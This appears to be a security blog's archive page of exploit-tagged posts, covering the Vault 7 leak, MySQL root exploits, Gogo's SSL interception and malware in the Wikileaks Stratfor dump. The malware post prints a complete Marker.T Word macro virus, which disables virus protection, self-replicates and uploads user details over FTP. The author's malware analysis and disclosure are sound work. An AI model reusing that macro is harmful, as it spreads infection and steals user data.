Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts

Tuesday, March 7, 2017

Wikileaks releases massive trove of CIA documents

Today Wikileaks released a massive new trove of leaks focused on the CIA's IT-based espionage capabilities. Wikileaks has named the document release Vault 7. The trove has just been released this morning, so details remain sketchy, however the included documents appear to contain detailed information related to dozens of malware tools used by the CIA's Center for Cyber Intelligence.

Earlier this morning I heard an NPR report claiming that Wikileaks was redacting the source code associated with these hacking tools. I'm not sure if that is correct; I've found a few files with executable scripts included, but none of the scripts I've found so far are essentially malicious (although they were almost certainly used in the development and packaging of malware). I have found indications that Wikileaks redacted exploit files that were ready for as-is distribution. For example, the files I reviewed in the dump appear to be part of an internal wiki. I reviewed a file list associated with one of the users registered for the wiki (; clicking through the link for a file named '~02.2.3.tmp` - - provided  me with this:

File: ~02.2.3.tmp
MIME: application/x-dosexec; charset=binary
Size: 389632

I have taken significant issue with Wikileaks in the past. My complaints have focused entirely on Wikileaks' unwillingness to remove dangerous (and almost certainly state-sponsored) malicious software from document dumps. The example I cited above is the first time I have ever seen any indication that Wikileaks removed malware from a dump. Unfortunately, this particular editorial decision is of substantially less value then the requests I repeatedly made to Wikileaks to inform their users of the presence of infected files within and older document dump that they continue to publish through the website. The censored malware files in Vault7 were contextually and obviously labelled as malware. The malware I found in earlier Wikileaks dumps included infected document files that were in many cases completely indistinguishable from normal document files and in several cases not detectable for a substantial variety of antivirus platforms.

If you are a journalist or concerned citizen preparing to begin reviewing the Vault 7 document dump, I strongly advise you to take strong security measures prior to beginning your review:

    1. Assume every file in the dump contains a malicious file & govern yourself accordingly. The principle here is similar to the sort of "universal precautions" utilized by medical professionals. This includes files that you may not think of as having the ability to infect your computer with malware, such as text documents, images, spreadsheets and PDFs.

    2. Download & inspect the documents using a computer dedicated to the task. An operating system designed for secure analysis of malware should be used, such as Kali Linux or TAILS. There is compelling evidence that Microsoft provides state-sponsored attackers with backdoors to the Windows OS. After downloading the files, completely disable the internet connectivity for your review computer by disabling (or even disconnecting) any network interfaces.

The inspection of malware is a complex topic that can't be covered in a single post, however the consequences of insecure handling of documents infected with state-sponsored malware are serious - while the advantages of safe handling are substantial. Would you feel comfortable providing a list of your sources to a random government intelligence service? Every reporter I have discussed the issue with feels a strong sense of responsibility for protecting their sources, up to and including a willingness to face incarceration. Securing your IT tools is not as dramatic as saying "No" to a judge threatening you with contempt, but for many sources the threat posed by an intelligence service dwarfs that of a court. Arrest is bad; being "disappeared" is worse.

The average reporter would not defend herself from a finding of contempt of court  - newsrooms invest substantially in legal resources under the calculation that protecting the sources and first amendment rights of journalists serves the both the bottom line & cultural interests of newspapers. Likewise, newsrooms must now consider the expense of an on-staff or consulting systems administrator with a background in security as a cost of doing business. Its not a happy thought, but this is the world we now live in: a world where every communication is spied on, documented, indexed and stored, secretly; and it has been for many years.

So thats the stick. What about the carrot? Malicious software contained within the files is as much a part of the story as the files themselves. Sourcecode comments and filesystem metadata can provide important clues related to the authors of, history behind and justification for distributing data. A thorough investigation of leak files can be the sole opportunity to reveal the true story behind a leak; the alternative, in the absence of communication with the true source of the leak, is to print a summary of a Wikileaks press release supplemented by a Government press release.

Tuesday, November 8, 2016

A nasty pair of MySQL exploits grant attackers system root from any database user

Four days ago I received an email from Dawid Golunski through the list illustrating one of the more brutal pair of security vulnerabilities I have seen recently. Here's how it works.
    The exploit uses a vulnerability within MariaDB, PerconaDB (and/or XtraDB Cluster) and MySQL to, first, gain access to the 'mysql' system user using any mysql user that has CREATE / INSERT / UPDATE permissions. The first part revolves around a race condition when sql generates temporary files as part of the `REPAIR table` command. Then using the mysql system user the second vulnerability grants the attacker root access to the server using a clever hack that takes advantage of mysql_safe's approach to writing to file based error logs. Below I've provided a list of vulnerable server versions. Just about any server using the more recent (unpatched) stable releases of MySQL or MariaDB through CentOS is vulnerable (Percona isn't part of the standard CentOS repositories), with a few of caveats.
    The first caveat is that an unpatched vulnerable server can prevent at least the 2nd exploit by disabling symlinks through /etc/my.cnf using skip-symbolic-links or symbolic-links=0
    The next caveat is that the 2nd exploit also depends on using file-based mysql logging. Using syslog will avoid trouble.
    The third caveat is that for the 1st exploit to work an attacker needs a mysql user and password.
    There is some good news here. The latest stable versions of MariaDB at least disable symbolic links in my.cnf by default (its been a while since I installed MySQL through the repo but I'm fairly sure its disabled here as well). And how would an attacker get a MySQL user anyway?
    Consider that because *any* MySQL user to be used, an un-patched shared server used by a hosting company would depend on the security competency of every one of that c customers to securely handle database authentication. Not only are there a variety of exploits available for obtaining a standard database user, but its depressingly common for web designers to place their connection strings with un-encrypted database username and password into world-readable files. There are a variety of feeds and sites that scan the internet for and compile such files.
    And even without the use of the 2nd exploit, an attacker can still do an enormous amount of damage without server root with only the mysql system user. The attacker will have full access to the MySQL system files. An attacker could easily delete an entire database instance, for example.
    Of course the best part is that this is a vulnerability in MySQL itself. Upgrading MySQL is the scariest, riskiest upgrade there is among standard repo software. A lot of admins compile it from source or install it from a direct RPM (in which cases symlinks are enabled by default). And applications are closely linked with the database version. Even successful upgrades can easily break applications that run on that database as calls used by the application become deprecated. Upgrading applications has substantial costs, whether you develop the application itself or license it. A patch was already in circulation before these exploits were posted, but for all of the reasons listed above, vulnerable databases will be active for years.

Here are the impacted DB versions:

 < 5.5.52
 < 10.1.18
        < 10.0.28

 <= 5.5.51
 <= 5.6.32
 <= 5.7.14

Percona Server
 < 5.5.51-38.2
 < 5.6.32-78-1
 < 5.7.14-8

Percona XtraDB Cluster
 < 5.6.32-25.17
 < 5.7.14-26.17
 < 5.5.41-37.0

Here the first two links below contain a comprehensive breakdown of both exploits with example scripts that you can run to test.

This link includes a video illustrating how a compromise takes place using the example scripts:

Monday, July 13, 2015

Hector Monsegur (formerly sabu of Lulzsec) has responded to my analysis of the Wikileaks Global Intelligence Files

Some time ago I wrote two blog posts about my discovery about a series of malware-infected files within a torrent being circulated by global whistleblower organization Wikileaks.

The torrent file was one of the latest versions of what Wikileaks has named the "Global Intelligence Files" - a large cache of documents obtained from the email spool of a government contractor known as Stratfor.

Since my discovery I have made several attempts to contact Wikileaks:

In addition to Twitter I have attempted to email just about every address I could find on their site (none of them work), as well as attempting to use the chat function mentioned on the Wikileaks Twitter feed. I have been unable to receive a response. Users must be notified when a file transfer contains malware; particularly given the sensitive nature of the documents in question.

This afternoon I received a series of comments on Twitter from former Lulzsec member Hector Monsegur. In his comments, Monsegur denies instigating the attack that lead to the release of the Stratfor files while confirming the danger of the malware contained in the files I identified:

Hector Monsegur Josh Wieder sabu lulzsec Wikileaks
Hector Monsegur during an interview with CBS
I responded to Hector's comments by thanking him for his input, putting forth my own theory that the malware contained in the document dumps is typical of snowshoe-spam malware infiltration techniques and reiterated the importance of Wikileaks notifying users of the danger of downloading malware contained in the torrent in question:

As of this writing (3PM @ 7-13-2015) Wikileaks continues to provide a torrent file with an identical timestamp, filename and byte size as the one I analyzed without any warning message notifying users of the danger of handling the files.

To return to the first post in our series on the Wikileaks / Strafor email malware click here.

If you are looking for the second post, where we look briefly inside one of the executables click here.

And here is a link to the next post in my Wikileaks / Strafor email malware series, where I demonstrate how the malware is available file by file on the Wikileaks.Org website, and not just within the torrent as I originally suspected.

Monday, March 30, 2015

Wikileaks Global Intelligence File Dump is Loaded With Malicious Software

Click here for the second post on this topic, which includes more detailed technical information.

Hector Monsegur, formerly sabu of Lulzsec, has offered his point of view on this post. Get his opinion by reading my third post on the topic.

In my fourth post on this topic, I explain how malware is not limited to the Stratfor leak torrent - curated links throughout the Wikileaks.Org website allow users to download individual infected files.

This series of posts is beginning to receive coverage from several newspapers around the world. German speakers should check out the story in Neue Z├╝rcher Zeitung / New Zurich Times. For English speakers, I recommend The Register from the UK for an excellent summary of these findings.

Beginning in February 27, 2012, the controversial news organization Wikileaks has been publishing a large and growing trove of emails from the private intelligence firm Strategic Forecasting, Inc (more widely known as Stratfor). The leak publication began with 200 emails, with Wikileaks progressively publishing more and more emails through the final publication date of July 18, 2014, at which time a single file containing over 5 million emails was published.

The source of the content was Jeremy Hammond, working in concert with Hector Xavier Monsegur as part of the group AntiSec. Hammond is currently in prison for the hack. Monsegur remains free; he was an FBI informant at the time of the hack and the release of the files. While the hack is attributed to Hammond, reliable sources are indicating that it was Monsegur who instigated the attack while he worked for the FBI. (NOTE: Hector X. Monsegnur has personally responded to this blog post and has denied this characterization of what happened. My only information on the history of the documents was obtained through media sources and court documents, which are often not reliable. I have not attempted to contact Jeremy Hammond. I only included this very brief foreward in an attempt to explain the history of the documents; which is still contested.)

It has been widely reported that Monsegur used an FBI-provided laptop and often worked full-time from an FBI office New York during the nine month period that the #antisec and #lulzsec released their widely distributed hacks, including the Stratfor job. To confuse matters further, court documents include reference to a third party, someone named Hyrriiya, who provided information critical to the Stratfor intrusion.

The content of the emails, though of obvious political and social significance, is not relevant to our post here. Newspapers around the world have spent a significant amount of time reporting on those leaks. However, no one appears to have noticed that a significant number of the files included in the leak contain malicious files that are designed to, among other things, retrieve detailed information about the computers which have downloaded them and send them to a variety of remote systems. 

My research at this time is still in progress, however given the wide circulation of this data & the apparent lack of notification of the danger in these files has convinced me to publish what little I have found immediately. 

I ought to be clear from the outset: I have no information linking Wikileaks, Asssange, Hammond, Monsegur, the FBI or anyone else directly with these malicious files. That very well may change quickly as research progresses, but at no point should this post be considered finger pointing. The purpose of this post is not to assign responsibility but to ensure that the journalists and activists downloading these files or who have already downloaded these files understand the consequences and take proper precautions. If I can encourage security researchers to take a look at these files it would be a bonus.

The files in question are not being distributed directly through the domain, but through a secondary domain While the domains are separate, the is linked directly from the Wikileak Global Intelligence Files web page (at, the two share the same SSL certificate as well as the same IP addresses. This would seem to (but doesn't entirely) rule out the notion that traffic is being diverted from Wikileaks to a fake server to fool users to download the malicious files.

# host has address has address has address has address has address has address mail is handled by 1

# host has address has address has address has address has address has address

Josh Wieder, Wikileaks, Global Intelligence Files
The Wikileaks.Org Global Intelligence Files web page
Josh Wieder, Wikileaks, Global Intelligence Files,, torrent
The link to from Wikileaks
The link to points to a list of torrent files. As mentioned previously, Wikileaks began with a small initial leak of documents, and released progressively more documents. Each of these torrents is a different version of the leak, which over time grew to include more and more files as they were apparently reviewed by the Wikileaks team. Notice that the very last torrent uses a different compression method and file nomenclature than the rest of the torrents. It is this very last file, and this file only, that I have identified malware inside of.
Josh Wieder, Wikileaks, Global Intelligence Files, Torrent, index page
The Global Intelligence Files torrent files on
The SSL Certificate for both domains is the same:
issuer= /C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA
subject= /OU=Domain Control Validated/OU=Gandi Standard Wildcard SSL/CN=*
notBefore=Oct 14 00:00:00 2013 GMT
notAfter=Oct 14 23:59:59 2015 GMT
SHA1 Fingerprint=10:B3:D9:66:7F:BC:57:B5:C1:CF:98:5B:16:E3:EC:61:A4:C3:ED:32

# echo |\
> openssl s_client -connect 2>&1 |\

echo |\
> openssl s_client -connect 2>&1 |\

I have reviewed the last two file dumps listed in the torrent list: gifiles-20121104151320.7z & gifiles-2014.tar.bz2. I was unable to identify any malware in 20121104151320.7z - which is notable for a number of reasons. Each of these files is massive - gifiles-20121104151320.7z is close to 3GB while compressed. However, gifiles-2014.tar.bz2 is 9x the size of gifiles-20121104151320.7z. The two files also use a different encryption scheme. 7zip is a Windows compression program, and 7zip was used to make every gifiles torrent dump except for gifiles-2014.tar.bz2 - which uses Tar and BZip, used commonly in Windows & Linux. Its reasonable to assume that gifiles-2014.tar.bz2 was created on a different computer than all of the other distributions. 

I've identified the following exploits being used:


The software vulnerable to these exploits is (version omitted while research is in progress): 

Adobe Acrobat
Adobe Flash Player
Microsoft Office
Microsoft Office for Mac
Open XML File Format Converter

These exploits are contained in the following files:

gifiles-2014\gifiles\attach\6\6566_The Split Betw.doc
gifiles-2014\gifiles\attach\19\19701_MASY - Q MASY HUMINT.doc
gifiles-2014\gifiles\attach\19\19719_List of Addresses - Advance Copies.doc
gifiles-2014\gifiles\attach\152\152977_Happy vacation.pdf
gifiles-2014\gifiles\attach\117\117870_Hybrid write-up2.doc
gifiles-2014\gifiles\attach\117\117793_Hybrid write-up.doc
gifiles-2014\gifiles\attach\47\47247_US Congress re.doc
gifiles-2014\gifiles\attach\47\47329_US Congress re.doc
gifiles-2014\gifiles\attach\119\119443_Russia Data Requests.doc
gifiles-2014\gifiles\attach\17\17102_Draft scenarios for Libya_0416.pdf

These attachments are just phishing nonsense and dont contain malicious software but if you scan this dump with an antivirus they may cause a positive:


I have been working on extracting the payloads from the .DOC files first before moving on to the .PDFs and attempting to decompile the few executables. I have been able to confirm that the exploits and payloads in 117687_Lithium.doc, 117870_Hybrid write-up2.doc and 17793_Hybrid write-up.doc are identical. Here are the relevant signatures for the files:

md5 6451dc0fc47122e75e3af66c9547d420
sha1 88eaf2aaa211d761c190d310d181f9f4e8d3853b
sha256 34b2bb5d9ac4abbf39d303dadabd3c6e45033643070bd3636ccab74b37d6f2d2

17793_Hybrid write-up.doc
md5 87114142e32fd455b525c900e4342475
sha1 cfda55de190f6b71434b4a4b66b2a372773133db
sha256 9bde32a6679339263d69a23da7b971ffb5c9882fbae9be311eeb28c49e817358

117870_Hybrid write-up2.doc
md5 6fde4a58f42deba3613030cbb93aef2b
sha1 07191e232304f3c7853e18916bb89f8af4cda3b1
sha256 32473591c2aa8bb96f9d48b224726f39480327606eb35641a2b4f2493af81655

Each of these three documents contains the following Visual Basic macro, a classic Marker.T that is well over 10 years old:
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    Shell " /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
  End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
  'Infect the NormalTemplate
  If DocumentInfected = True Then
    SaveNormalTemplate = NormalTemplate.Saved
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
      'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i
    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)
    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    If SaveNormalTemplate = True Then NormalTemplate.Save
  End If
  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
    SaveDocument = ActiveDocument.Saved
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    If SaveDocument = True Then ActiveDocument.Save
  End If
End If
End Sub

We shouldn't be convinced that this is the entire payload. The IP address included here has been recorded as a part of Marker.T since 2002. Just to be on the safe side, I tried it - there are no FTP connections being accepted at, which looks like it is assigned to a Vietnamese restaurant in New Jersey.

Using OfficeMalScanner provides further information:

[*] SCAN mode selected
[*] Opening file 117870_Hybrid write-up2.doc
[*] Filesize is 604672 (0x93a00) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Scanning now...

             +++++ decryption loop detected at offset: 0x00019eb8 +++++

33C9                               xor ecx, ecx
E7EE                               out EEh, eax
2974E835                           sub [eax+ebp*8+35h], esi
79F7                               jns $-07h
34A2                               xor al, A2h
12F5                               adc dh, ch
72F7                               jb $-07h
94                                 xchg esp, eax
BA0EE6EEA9                         mov edx, A9EEE60Eh
7909                               jns $+0Bh
E615                               out 15h, al
774F                               jnbe $+51h
51                                 push ecx
B42F                               mov ah, 2Fh
EE                                 out dx, al
9E                                 sahf 

Brute-forcing for encrypted PE- and embedded OLE-files now...
Bruting XOR Key: 0x01

Analysis finished!

117870_Hybrid write-up2.doc seems to be malicious! Malicious Index = 10

There appears to be an additional payload in these files that is encrypted, in addition to the VBScript macro that sits on top. Uncovering it will take me a bit more time.

In addition to these three files I have also been working on a fourth file that makes use of a different set of exploits, 6566_TheSplitBetw.doc. Don't be fooled by the .DOC extension, this is an RTF file. 6566_TheSplitBetw.doc uses a classic RTF exploit: CVE-2010-3333.

md5 d93e2a5f8ac23824abc07f536aa4c50d
sha1 87584d1f761c3d8f34c4077da5aeadd4b1a470ca
sha256 e74fc919fba1cc8e9bc9680f026df8d4875c9f0f5864596445859ff916898b38

This exploit has been used in a number of attacks. In June 2011 a University of Louisville email server began sending out an email with an attachment claiming to be an "Insider's Guide to Military Benefits". The body of the email appeared to target Naval officers:

-----Original Message-----
From: CDR Courtney Bricks [] 
Sent: Tuesday, May 31, 2011 11:23 PM
To: xxxxxx
Subject: Defense News article of interest

Defense News article by Chris Cavas, from your interview last week is pasted below.  Article appeared as a straight Q and A story, everything reads balanced and fair.  Please let me know if you have any questions or concerns.


The U.S. Navy's major shipbuilding and aviation programs are largely setting into stability, but questions are rising about the strategic outlook for the Navy and Marine Corps and the forces they will need in the future, all in the context of a declining defense budget.
Navy Under Secretary Robert Work is in the center of the effort to define the Navy Department's direction and map out its future roles.

Then again in May of 2011 the same exploit was used as an attachment to an email titled "Courier who led U.S. to Osama bin Laden's hideout identified" which was sent to a significant number of US government email addresses.

Both times the payload was different. The exploit is a Metasploit module. It's been patched by Microsoft since 2010.

I've been working on reverse engineering this code as well. This file does not contain VBScript macros. The most interesting tidbit I have found apart from what is already well-documented about this exploit was recovered by scraping a bit of the shell code using this Python script (Javascript needs to be enabled to see the github embed, or you can view it here instead - the extraction script was provided by Alexander Hanel, though Mr Hanel did not collaborate on this project):

This is what was recovered (another github embed that can be viewed here for those who don't trust someone else's javascript):

I am still in the process of investigating this however I am particularly interested in the creation of an executable, C:\a.exe as well as a secondary RTF file, Tripolitania.RTF. Tripolitania, incidentally, was the name for the Libyan city of Tripoli in the early 20th century, when it was an Italian colony. These Stratfor guys do seem to have an interest in history (NOTE: Tripolitania.RTF appears to be the name of the first version of this document). I've recovered a little bit of the actual text of the attachment, and it looks like it was culled from a web page from Students for a Free Tibet:

"Lobby your government leaders to speak up for Tibet and protest Chinese leaders when they travel abroad. Take part in international days of action and commemorate historic dates within the Tibet movement."

At this point very little conclusions can be drawn from this information besides the obvious: those downloading this content from Wikileaks must use significant security measures to ensure the safety and reliability of their computing systems. Media organizations, including Wikileaks, are publishing email attachments like the ones I have identified as infected with malware here as part of their coverage of these document leaks. It is possible, for example, to search and download emails and attachments from the Wikileaks site. It does not take a wild imagination to figure that those initially reviewing these documents could take significant security precautions, while such precautions become less vital through the editing process until very few precautions are taken by the end user, who expect this content to be sanitized before it is provided to them by a media organization.

When downloading and viewing these files, most are attempting to protect themselves from surveillance; things like NSA's XKEYSCORE. Few users are expecting the leaked files themselves to be a threat. While there is overlap between the sort of security precautions that would protect a computer against outside surveillance and infected files, there are significant differences. For example, if air gapping can be an effective deterrent against surveillance and some of the worst features of malware. However, the threat from surveillance is often considered transitory. After performing the task which needs to be protected from prying eyes, a user might not find it unreasonable to break their airgap and reconnect to the internet after deleting their secret files. Alternatively, a user might rely on a USB stick to transfer applications or files from the air-gapped computer to a network-available computer. All such activity are easily exploited by malicious software. To use a somewhat related analogy - Tor won't protect you from a keylogger.

This is why notification of malicious software in these files is important: so users can adjust their operational security plans to adjust for it.

There are a number of theories that could account for the presence of this malicious software. Perhaps the least-wildeyed of those theories is that Statfor employees were receiving these malicious files through email. Whether or not those employees did anything with those malicious files, they could have been retrieved by Lulzsec, who in turn provided them to Wikileaks. The data is indeed massive, over 5.5 million emails. Perhaps so massive that ~ two years was not long enough to properly review and sanitize these files prior to their complete publication in 2014 (from the time they were received by WL sometime around 2012).

That is not the only explanation. The Snowden revelations have spelled out in plain detail how the same organizations that have been very invested in the destruction of Wikileaks could very well be capable of putting malicious software into a remote server, or to redirect a file transfer so that malicious software was transferred.

This post should not be construed as a warning to avoid paying close attention to media coverage of intelligence controversies because of the threat of malicious software. Quite the opposite, really. The information contained in these "Global Intelligence Files" are of critical social importance. People around the world should be able to inform themselves without putting themselves at undue risk.

The good news is this: the malware I have so far identified is old. So old that those using the latest versions of the software noted as vulnerable earlier are very likely safe even when executing these files. I scanned a number of these files using Virus Total, and a significant number of anti-virus applications were able to detect an issue with the files. The flipside of this positive spin is that at best only half of the popular antivirus applications I used to test these files (I tested using roughly 70 antivirus programs) detected malicious software. Some files were only detected by 15 antivirus programs.

One last note: I will almost certainly be updating this post and writing additional information about what I find as I continue my research. This is very much a "work in progress". I welcome all additional information, particularly information that conflicts with or adds to what I have found so far.

NOTE: my second post on this on this topic is online, and contains further malware analysis.

Hector Monsegur, formerly sabu of Lulzsec, contacted me. Our discussion is available on my third post.

Wednesday, January 7, 2015

Gogo Inflight Internet Using SSL Exploit for Customer Surveillance

For many years in the IT community, it was assumed that time spent travelling on an airplane was wasted. At best, you could make do with expensive and often-unreliable cell network coverage for connectivity. Even that was an issue, though, because of the airline's histrionic and decades-out-of-date concern that electronic devices interfered with flight navigation equipment. On top of having to pay a premium for unreliable service, you had to be sneaky about it, as well.

Alec Baldwin, Josh Wieder, cell phone, airport, airplane, headline
Some of us handled the situation better than others
So when in-flight internet services first started to become integrated to major airline fleets en masse, many tech people applauded. Those of us who had to attend trade shows, travel to meet customers or were responsible for multiple data center locations could get things done as we bounced back and forth across the country.  The bandwidth was every bit as expensive as roaming cell network charges, regularly more expensive, but the planes were being equipped with some basic antennae to improve reception, and you didnt need to hide your computer from overzealous flight attendants.

One of the services that made this possible was Gogo Inflight Internet. And the whole deal seemed pretty reasonable. Sure, it was expensive and the service was unreliable at best, but there were serious financial, technical and regulatory obstacles to overcome in making airplanes into giant wireless antennae. It wasn't perfect, but it wasn't a scam, either - and it was getting better.

But then one savvy Gogo Inflight Internet user noticed something troubling. The customer was Adrienne Porter Felt, a Google engineer. As Ms Felt attempted to access Youtube, she noticed that the SSL provided on behalf of Youtube was forged.

To help illustrate whats going on I've included some more detailed images below.. Note that the interfaces are a bit different because the first image was taken on a computer running Windows and the second image was taken on a Mac; the aesthetic differences aren't relevant.

In the first image's SSL certificate, we see the certificate is signed by Google Inc. and that the Common Name is listed as * (in the Subject line, the first item is the Common Name or CN).

In the second image, the Organization is listed as "Gogo" and the Common Name is a private IP address,

This behavior is consistent with a Man in the Middle exploit. Requests for Youtube are being re-routed to, which is serving a forged SSL certificate for Youtube.

Youtube, Josh Wieder, SSL Certificate
This is what a Youtube SSL certificate normally looks like

Youtube, Josh Wieder, Gogo Internet, SSL Certificate,
This is what the Youtube SSL certificate looked like as provided to Ms Felt by Gogo Internet

Internet Service Providers are required by awful pieces of legislation like the Telecommunications Act of 1996 to provide law enforcement with what are referred to in the Telco industry as "lawful intercepts" at the expense of the ISP. However, what is occurring here appears to be far above and beyond the normal exercise of a lawful intercept.

For one thing, lawful intercepts are targeted at specific customers. There is no indication here that the man-in-the-middle exploit being used here is executed in a targeted fashion; if targeted traffic interception was the goal, such an exploit would be a bizaare way to go about it, because all traffic would regardless be collected. Targeting using such an exploit would involve discarding traffic from non-targeted customers, as the NSA claims it does in the company of the particularly credulous.

There is another reason to believe that something untoward is afoot here. And that is a recent FCC filing in which the nudity-obsessed Federal agency blatantly declared that Gogo Inflight Internet was cooperating with law enforcement in ways not required by law. You can review that filing here:

In their own defense, Gogo has claimed that the SSL forging and the traffic interception it is designed to cover-up has nothing to do with surveillance at all. Their CTO Anand Chari had this to say: 
Whatever technique we use to shape bandwidth, it impacts only some secure video streaming sites and does not affect general secure internet traffic. These techniques are used to assure that everyone who wants to access the Internet on a Gogo equipped plane will have a consistent browsing experience… We can assure customers that no user information is being collected when any of these techniques are being used.
Chari's excuse sounds quite reasonable to those with no experience with networking and system administration. To those that are familiar with solving bandwidth restricition delimmas, Chari's explanation is, at best, the ramblings of a man who is completely incompetent and, at worst, an outright lie.

Over the course of my career, I have had to address exactly the sort of problem that Chari claims this matter is a response to. Before I explain why Chari's response is preposterous, I should start by phrasing the problem in a way that is more understandable.

Most companies have a limited amount of bandwidth. Bandwidth, after all, is expensive. For small businesses of just a few people, its not so hard to tell that one of your workers is downloading from Pirate Bay instead of attending to his work, and in the process ensuring that no one can so much as check their email. But what if there are 500 workers? And what if the bandwidth use isnt intentional; what if its being caused by malware? Thats when a more technical response is called for.

This is a problem that has existed in commercial IT for decades; its a problem that predates streaming media, it predates the world wide web for that matter. Because the problem is so old, there are dozens of different approaches to resolving it, depending upon what kinds of resources are available and the overall structure of the network in which the problem is being addressed.

One of the many solutions to this kind of issue would be to implement a technology called Quality of Service. In a nutshell (this is a very simplified explanation), Quality of Service enables network administrators to give a priority to certain types of traffic over others. This function is extremely useful, if we think about it for a moment. Consider email and video streaming, for a moment. When you send and receive email, its not such a big deal if it takes a few extra seconds for the email to be transferred. If there is an extraordinarily long delay of many minutes, it can become annoying. But a delay of seconds is not noticeable to a user, and email applications are designed (when correctly configured) to deal with delays so that they aren't a problem. Now take streaming video. If you introduce a few seconds delay as a user is watching a video, such a delay would completely spoil the experience. If the delay is long enough, it will even crash the video player software. So we have established that delays are more important to video than email.

So let's imagine another circumstance. We are in a real world environment - an office, with a limited amount of bandwidth. One employee is playing a video, and another employee attempts to send an email with a large attachment. There is enough bandwidth for only one of these operations, but not both. What do we do?

By implementing QoS, we can give the video a higher priority than email; allowing the video to finish playing before sending the email. This ensures that both users have a good network experience, and no errors are introduced into the application layer. We can introduce QoS in such a way that we do not have to break encrypted services, as Gogo has done. Certain protocols can be prioritized, but we can also prioritize users and connections, accounting for a limited amount of bandwidth.

Not only would such a solution ensure the privacy of users, but it also tends to be faster and more reliable when scaling large amounts of traffic than what Gogo claims they are doing - which involves more than just routing and switching network "packets". Information sent over a network is divided into small packets that share certain standardized properties. This standardization allows for the packets to be handled consistently and reliably, even when the information iinside of the packets is unique. Handling packets as they travel is, in most circumstances, less resource-intensive than opening the packets up and dealing with the stuff inside of them. Consider the difference between your home wireless router, which handles the standardized packets in transit, and your home computer, which deals with the unique information inside of packets.

The gist of the story is this - information you send while using Gogo Inflight Internet is almost certainly being snooped on; its also possible, though not yet proven, that other similar services are also snooping. Do not trust SSL connections that are provided to you by Gogo; to avoid their snooping, VPN connections could help, but further research is needed to determine which VPN solutions can be compromised by Gogo's setup.

ht to read/write

Sunday, October 26, 2014

Massive Critical Security Patch Released by Oracle Impacting Most Versions of MySQL

Oracle has released a Critical Security Patch for a long list of Oracle products. For MySQL specifically, the patch purports to resolve a multitude of vulnerabilities that allow remote execution without authentication, and impact nearly all versions of the database software.

Oracle provided the following Risk Matrix to their MySQL customers, which outlines the CVE numbers of stated vulnerabilities, the component used by the vulnerability and a number of other details.

I've included a copy of that Matrix for readers to review below.

As the reader can clearly see, the risk for unpatched MySQL users is huge. A total of 154 vulnerabilities are addressed with this update. Some of these vulnerabilities reach a forehead-slapping CVSS score of 9.0 (just one point beneath the score for the recent Shellshock bash vulnerability). 24 of the patches are for MySQL.

I highly advise anyone using MySQL or any Oracle product, including Java, to  update their software immediately.

Oracle MySQL Risk Matrix

Remote Exploit without Auth.?CVSS VERSION 2.0 RISK (see Risk Matrix Definitions)Supported Versions AffectedNotes
Base ScoreAccess VectorAccess ComplexityAuthen-
CVE-2014-6507MySQL ServerMySQL ProtocolSERVER:DMLNo8.0NetworkLowSinglePartial+Partial+Complete5.5.39 and eariler, 5.6.20 and earlier
